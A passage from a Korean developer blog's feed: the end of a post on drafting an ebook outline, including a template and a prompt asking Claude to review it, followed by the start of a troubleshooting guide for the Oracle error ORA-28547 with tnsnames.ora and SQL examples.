&lt;h2&gt;우리 책의 outline (실제 사례)&lt;/h2&gt;
&lt;p&gt;이 시리즈가 따라가는 outline입니다. &lt;strong&gt;지금 보고 계신 이 글이 #3&lt;/strong&gt; 자리에 들어가게 됩니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;챕터&lt;/th&gt;
&lt;th&gt;한 줄 메시지&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;머리말&lt;/td&gt;
&lt;td&gt;왜 지금 책인가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;시작 전 준비&lt;/td&gt;
&lt;td&gt;도구 4가지면 충분하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;콘셉트 잡기&lt;/td&gt;
&lt;td&gt;누가 읽을지부터 정한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;차례 짜기&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;outline이 진실의 원천이다&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;자료 모으기&lt;/td&gt;
&lt;td&gt;흩어진 글을 책 자료로&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;챕터 쓰기&lt;/td&gt;
&lt;td&gt;빌드 인 퍼블릭의 힘&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;다듬기·디자인&lt;/td&gt;
&lt;td&gt;표지·다이어그램·문체&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;빌드·배포&lt;/td&gt;
&lt;td&gt;pandoc 한 줄로 PDF까지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;마무리·부록&lt;/td&gt;
&lt;td&gt;회고와 다음 책 + 8일 스프린트&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;표 자체가 메타 사례입니다 — &lt;strong&gt;이 책의 차례를 보면, 이 책이 무슨 말을 할지 8주 전에 다 알 수 있습니다.&lt;/strong&gt; 그게 좋은 outline의 증거입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실습 1 — 빈 outline.md 만들기&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;/book-making-01-getting-started/&quot;&gt;#1에서 만든&lt;/a&gt; &lt;code class=&quot;language-text&quot;&gt;book/&lt;/code&gt; 폴더 안에 &lt;code class=&quot;language-text&quot;&gt;outline.md&lt;/code&gt; 파일을 만듭니다. &lt;strong&gt;첫 버전은 거칠어도 됩니다.&lt;/strong&gt; 다음 템플릿을 그대로 복사하세요.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;#&lt;/span&gt; Outline — [내 책 제목]&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 책 한 줄 요약&lt;/span&gt;

&lt;span class=&quot;token blockquote punctuation&quot;&gt;&gt;&lt;/span&gt; [#2에서 정한 한 줄 요약]

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 대상 독자&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; [페르소나]

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 챕터 구성&lt;/span&gt;

&lt;span class=&quot;token table&quot;&gt;&lt;span class=&quot;token table-header-row&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-header important&quot;&gt; &lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;#&lt;/span&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-header important&quot;&gt; 가제   &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-header important&quot;&gt; 한 줄 메시지     &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token table-line&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;------&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;----------------&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token table-data-rows&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 0   &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 머리말 &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; (왜 이 책인가)   &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 1   &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; (제목) &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; (메시지)         &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 2   &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; (제목) &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; (메시지)         &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 3   &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; (제목) &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; (메시지)         &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 4   &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; (제목) &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; (메시지)         &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 5   &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; (제목) &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; (메시지)         &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 6   &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; (제목) &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; (메시지)         &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 7   &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; (제목) &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; (메시지)         &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 8   &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; 마무리 &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token table-data&quot;&gt; (회고·다음 단계) &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 부록 (선택)&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; A. ...
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; B. ...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;비개발자 — 메모장·Notion으로&lt;/h3&gt;
&lt;p&gt;위 템플릿을 메모장이나 Notion 한 페이지에 그대로 옮겨두세요. &lt;strong&gt;표 형태가 어려우면 단순 목록으로 시작해도 됩니다.&lt;/strong&gt; 형식은 다음 주차에 정돈해도 늦지 않습니다.&lt;/p&gt;
&lt;h3&gt;개발자 — VS Code 한 줄로&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; book &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;touch&lt;/span&gt; outline.md&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 파일이 앞으로 8주 동안 &lt;strong&gt;모든 챕터 결정의 시작점&lt;/strong&gt;이 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실습 2 — Claude로 outline 검증하기&lt;/h2&gt;
&lt;p&gt;빈 칸을 다 채우셨다면, Claude 대화창을 열고 다음 프롬프트를 그대로 붙여넣으세요.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;다음은 내가 8주 안에 쓰려는 전자책의 outline이다.

[outline.md 전체 내용 붙여넣기]

다음 5가지 관점에서 검토해줘.

&lt;span class=&quot;token list punctuation&quot;&gt;1.&lt;/span&gt; 챕터 8개의 메시지가 서로 겹치지 않는가?
&lt;span class=&quot;token list punctuation&quot;&gt;2.&lt;/span&gt; 한 챕터에 메시지가 둘 이상 들어 있는 챕터는?
&lt;span class=&quot;token list punctuation&quot;&gt;3.&lt;/span&gt; 8주 만에 완성하기에 분량이 무리인 챕터는?
&lt;span class=&quot;token list punctuation&quot;&gt;4.&lt;/span&gt; 누락된 단계나 챕터가 있다면?
&lt;span class=&quot;token list punctuation&quot;&gt;5.&lt;/span&gt; 챕터 순서를 바꾸면 더 자연스러워질 부분은?

각 항목에 대해 구체적인 챕터 번호와 함께 답해줘.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Claude가 항목별로 짚어주면 — &lt;strong&gt;모두 받아들이지 마세요.&lt;/strong&gt; 「나만의 책만들기」 outline도 Claude가 &quot;8장이 너무 두껍다&quot;고 지적해서, &lt;strong&gt;부록 E (8일 스프린트 모드)&lt;/strong&gt; 를 분리한 결과로 지금 모습이 됐습니다. &lt;strong&gt;검토를 반영할지는 사람의 결정&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;outline 운영 원칙 — 변경은 항상 outline에서 먼저&lt;/h2&gt;
&lt;p&gt;8주 동안 outline은 한 번도 안 바뀌지 않습니다. &lt;strong&gt;반드시 바뀝니다.&lt;/strong&gt; 중요한 건 변경의 순서입니다.&lt;/p&gt;
&lt;h3&gt;✅ 옳은 순서&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1. outline.md 표를 먼저 수정
2. 그에 맞춰 chapters/, drafts/ 파일을 옮기거나 합치거나 분리
3. 위클리 일지에 변경 사실 한 줄 기록&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;❌ 흔한 실수&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1. 새 챕터 파일을 먼저 만들기
2. outline.md는 나중에 갱신
→ 두 곳이 어긋나기 시작 → 어느 쪽이 진실인지 헷갈림&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;outline.md가 진실, 파일은 그 그림자입니다.&lt;/strong&gt; 이 한 문장만 8주 동안 지켜도 책 작업이 무너지지 않습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;마음가짐 — 완벽한 outline은 없습니다&lt;/h2&gt;
&lt;h3&gt;✅ 1차 outline은 30분 안에 끝낸다&lt;/h3&gt;
&lt;p&gt;8개 챕터의 가제와 한 줄 메시지를 30분 안에 채우세요. &lt;strong&gt;완벽하지 않아도 됩니다.&lt;/strong&gt; outline은 8주 동안 매주 한 번씩 다듬는다는 전제로 작성합니다.&lt;/p&gt;
&lt;h3&gt;✅ 매주 위클리 발행 시 outline 한 번 훑기&lt;/h3&gt;
&lt;p&gt;위클리 일지를 쓰는 일요일에 outline.md를 한 번 다시 봅니다. &lt;strong&gt;이번 주 챕터 작업이 다음 주 챕터의 메시지를 바꿨다면&lt;/strong&gt;, 그 자리에서 outline을 갱신합니다.&lt;/p&gt;
&lt;h3&gt;❌ 첫 outline부터 완벽하게 잡으려 하지 않기&lt;/h3&gt;
&lt;p&gt;처음에 완벽하게 잡으려다가 첫 챕터를 한 달 동안 못 쓴 사람을 여럿 봤습니다. &lt;strong&gt;거친 outline + 매주 발행이 완벽한 outline + 무발행보다 항상 낫습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;다음 주 예고 (#4 — 자료 모으기)&lt;/h2&gt;
&lt;p&gt;다음 주는 &lt;strong&gt;이미 갖고 있는 글·메모·블로그 포스트를 책 자료로 가져오는 워크플로우&lt;/strong&gt;를 다룹니다. 빈 화면 앞에서 글을 새로 쓰는 것보다, &lt;strong&gt;이미 흩어져 있는 자기 글을 책 자료로 모으는 것&lt;/strong&gt;이 훨씬 빠르다는 것을 보여드립니다 (개발자에겐 &lt;code class=&quot;language-text&quot;&gt;mirror-from-blog.sh&lt;/code&gt; 스크립트, 비개발자에겐 폴더 정리 가이드).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q1. 챕터 수가 꼭 8개여야 하나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;아니요.&lt;/strong&gt; 8주 챌린지에 맞춘 결과입니다. 5주면 5장, 12주면 12장. &lt;strong&gt;시간 단위 = 챕터 단위&lt;/strong&gt;가 가장 무리 없이 굴러갑니다.&lt;/p&gt;
&lt;h3&gt;Q2. 중간에 챕터가 늘어나면 8주 일정이 망가지지 않나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;outline에서 다른 챕터를 통합하거나 부록으로 옮기면&lt;/strong&gt; 챕터 수는 유지됩니다. &quot;총 8개&quot;라는 외부 약속은 지키되, 내부 구성은 자유롭게 바꿀 수 있습니다.&lt;/p&gt;
&lt;h3&gt;Q3. outline.md 파일을 꼭 마크다운으로 써야 하나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Notion·구글 문서·노션 페이지 어느 곳이어도 됩니다.&lt;/strong&gt; 핵심은 &lt;strong&gt;한 곳에 모이고, 변경 이력이 남는 것&lt;/strong&gt;입니다. 마크다운은 7장(빌드)에서 pandoc으로 PDF까지 그대로 변환되는 장점이 있습니다.&lt;/p&gt;
&lt;h3&gt;Q4. 챕터 한 줄 메시지가 잘 안 떠올라요.&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&quot;이 챕터를 다 읽은 독자가 다른 사람에게 한 줄로 뭐라고 말할까?&quot;&lt;/strong&gt; 를 자문하세요. 답이 한 문장으로 안 나오면, 그 챕터는 메시지가 둘 이상 섞여 있다는 신호입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;오늘 두 가지만 끝내시면 됩니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ &lt;code class=&quot;language-text&quot;&gt;book/outline.md&lt;/code&gt;(또는 노트앱 한 페이지) 챕터 8개 가제 + 한 줄 메시지 채우기&lt;/li&gt;
&lt;li&gt;✅ Claude에게 outline 검토 5가지 질문 → 받은 피드백 중 &lt;strong&gt;반영할 것 1~2개만&lt;/strong&gt; 골라 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;다음 주 #4에서는 &lt;strong&gt;그 outline에 자료를 채우는 작업&lt;/strong&gt;을 시작합니다. 흩어진 글·메모·블로그 포스트가 어떻게 책의 한 챕터가 되는지를 보여드립니다.&lt;/p&gt;
&lt;p&gt;여러분이 짠 책의 &lt;strong&gt;챕터 1번 한 줄 메시지&lt;/strong&gt;는 무엇인가요? &lt;strong&gt;댓글로 남겨주시면&lt;/strong&gt; 다음 주 글에서 함께 살펴볼 사례로 인용할 수도 있습니다.&lt;/p&gt;
&lt;p&gt;다음 주에 또 뵙겠습니다. 자바파커였습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[ORA-28547 에러 완벽 해결 가이드 — 공식 원인과 11g·19c 호환 해결법]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "Connection to server failed, probable Oracle Net admin error…]]></description><link>https://blog.javapark.kr/ora-28547-error-handling/</link><guid isPermaLink="false">https://blog.javapark.kr/ora-28547-error-handling/</guid><pubDate>Sat, 09 May 2026 21:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Connection to server failed, probable Oracle Net admin error&quot; — 검색해보면 사례가 워낙 다양해서 정답이 안 보이는 그 메시지요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;오라클을 다루다 보면 한 번쯤 마주치는 ORA-28547. 솔직히 말하면, 인터넷에 떠도는 트러블슈팅 글들이 &lt;strong&gt;공식 원인과 일반 연결 문제를 뒤섞어 놓은 경우가 많습니다.&lt;/strong&gt; 이 글은 &lt;a href=&quot;https://docs.oracle.com/en/error-help/db/ora-28547/&quot;&gt;Oracle 공식 문서&lt;/a&gt;를 기준으로 진짜 ORA-28547의 원인만 정리했습니다. 결론부터 말씀드리면 — 공식 원인은 5가지로 좁혀지고, &lt;strong&gt;그 외에 자주 거론되는 항목들은 ORA-28547과 다른 에러 코드의 문제일 가능성이 높습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;이 글은 &lt;strong&gt;Oracle 11g R2부터 19c까지&lt;/strong&gt; 동일하게 적용되며, 버전별로 다른 부분은 별도 표로 정리했습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;ORA-28547 에러란? — 공식 정의&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;ORA-28547&lt;/strong&gt;: connection to server failed, probable Oracle Net admin error&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;공식 원인&lt;/strong&gt; (Oracle Database Error Messages 인용):&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A failure occurred during initialization of a network connection from a client process to the Oracle server. The connection was completed but a disconnect occurred while trying to perform protocol-specific initialization, usually due to use of different network protocols by opposite sides of the connection.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;쉽게 말하면 &lt;strong&gt;TCP 연결은 됐는데, 그 위에서 Oracle Net 프로토콜 협상이 깨진&lt;/strong&gt; 상태입니다. 인증(ID/비밀번호) 단계 이전에 발생하므로 ORA-01017(invalid username/password)이나 ORA-12541(no listener)과는 결이 다릅니다.&lt;/p&gt;
&lt;p&gt;비유하자면, 전화는 연결됐는데 &lt;strong&gt;두 사람이 서로 다른 언어로 인사하다가 통화가 끊긴 상황&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;ORA-28547 공식 원인 5가지 (Oracle Docs 기준)&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;순위&lt;/th&gt;
&lt;th&gt;원인&lt;/th&gt;
&lt;th&gt;적용 버전&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;connect string에 &lt;code class=&quot;language-text&quot;&gt;(HS=)&lt;/code&gt; 잘못 포함&lt;/td&gt;
&lt;td&gt;11g~19c 동일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Database link / 외부 프로시저용 HS 에이전트 설정 오류&lt;/td&gt;
&lt;td&gt;11g~19c 동일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;클라이언트가 서버 character set 미인식 (&lt;code class=&quot;language-text&quot;&gt;ORA_NLS10&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;11g~19c 동일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Windows + DRCP + &lt;code class=&quot;language-text&quot;&gt;SQLNET.AUTHENTICATION_SERVICES=NTS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;11g R1~19c&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Shared server 전부 busy + &lt;code class=&quot;language-text&quot;&gt;INBOUND_CONNECT_TIMEOUT&lt;/code&gt; 만료&lt;/td&gt;
&lt;td&gt;11g~19c 동일&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;이 5가지가 &lt;strong&gt;공식 문서가 명시한 ORA-28547의 진짜 원인&lt;/strong&gt;입니다. 비트 불일치, tnsnames 오타, 방화벽 차단 같은 항목은 다른 에러 코드의 영역이며, 본문 아래쪽 &lt;a href=&quot;#%ED%97%B7%EA%B0%88%EB%A6%AC%EB%8A%94-%EB%8B%A4%EB%A5%B8-%EC%97%90%EB%9F%AC-%EC%BD%94%EB%93%9C--ora-28547%EB%A1%9C-%EC%98%A4%ED%95%B4%ED%95%98%EA%B8%B0-%EC%89%AC%EC%9A%B4-%EA%B2%83%EB%93%A4&quot;&gt;헷갈리는 다른 에러 코드&lt;/a&gt; 섹션에서 별도로 정리했습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;ORA-28547 단계별 해결법&lt;/h2&gt;
&lt;h3&gt;1단계 — &lt;code class=&quot;language-text&quot;&gt;(HS=)&lt;/code&gt; 점검 (가장 흔함)&lt;/h3&gt;
&lt;p&gt;연결 문자열이나 tnsnames.ora에 &lt;code class=&quot;language-text&quot;&gt;(HS=)&lt;/code&gt;가 들어 있다면 Heterogeneous Services 에이전트로 라우팅됩니다. 일반 Oracle DB 접속에는 들어가면 안 되는 값입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ini&quot;&gt;&lt;pre class=&quot;language-ini&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 잘못된 예 — 일반 DB 연결인데 HS= 가 들어감&lt;/span&gt;
&lt;span class=&quot;token key attr-name&quot;&gt;ORCL&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;
  &lt;span class=&quot;token key attr-name&quot;&gt;(DESCRIPTION&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;
    &lt;span class=&quot;token key attr-name&quot;&gt;(ADDRESS&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token value attr-value&quot;&gt;(PROTOCOL = TCP)(HOST = 192.168.0.10)(PORT = 1521))&lt;/span&gt;
    &lt;span class=&quot;token key attr-name&quot;&gt;(CONNECT_DATA&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;
      &lt;span class=&quot;token key attr-name&quot;&gt;(SID&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token value attr-value&quot;&gt;ORCL)&lt;/span&gt;
    )
    &lt;span class=&quot;token key attr-name&quot;&gt;(HS&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token value attr-value&quot;&gt;OK)         # ← 이 라인을 지워야 합니다&lt;/span&gt;
  )&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;해결:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Heterogeneous Services를 의도적으로 쓰는 게 아니라면 &lt;code class=&quot;language-text&quot;&gt;(HS=)&lt;/code&gt; 라인 제거&lt;/li&gt;
&lt;li&gt;의도해서 쓴다면 HS 에이전트의 &lt;code class=&quot;language-text&quot;&gt;init&amp;lt;sid&gt;.ora&lt;/code&gt;(예: &lt;code class=&quot;language-text&quot;&gt;initdg4odbc.ora&lt;/code&gt;)와 &lt;code class=&quot;language-text&quot;&gt;listener.ora&lt;/code&gt;의 &lt;code class=&quot;language-text&quot;&gt;PROGRAM=hsodbc&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;PROGRAM=dg4odbc&lt;/code&gt; 항목을 점검&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2단계 — Character Set 확인&lt;/h3&gt;
&lt;p&gt;클라이언트의 &lt;code class=&quot;language-text&quot;&gt;ORA_NLS10&lt;/code&gt; 환경변수가 잘못 설정됐거나, 서버에 새로 추가된/사용자 정의 character set을 클라이언트가 인식 못 하는 경우입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;-- 서버 character set 확인&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; nls_database_parameters
&lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; parameter &lt;span class=&quot;token operator&quot;&gt;IN&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;NLS_CHARACTERSET&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;NLS_NCHAR_CHARACTERSET&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
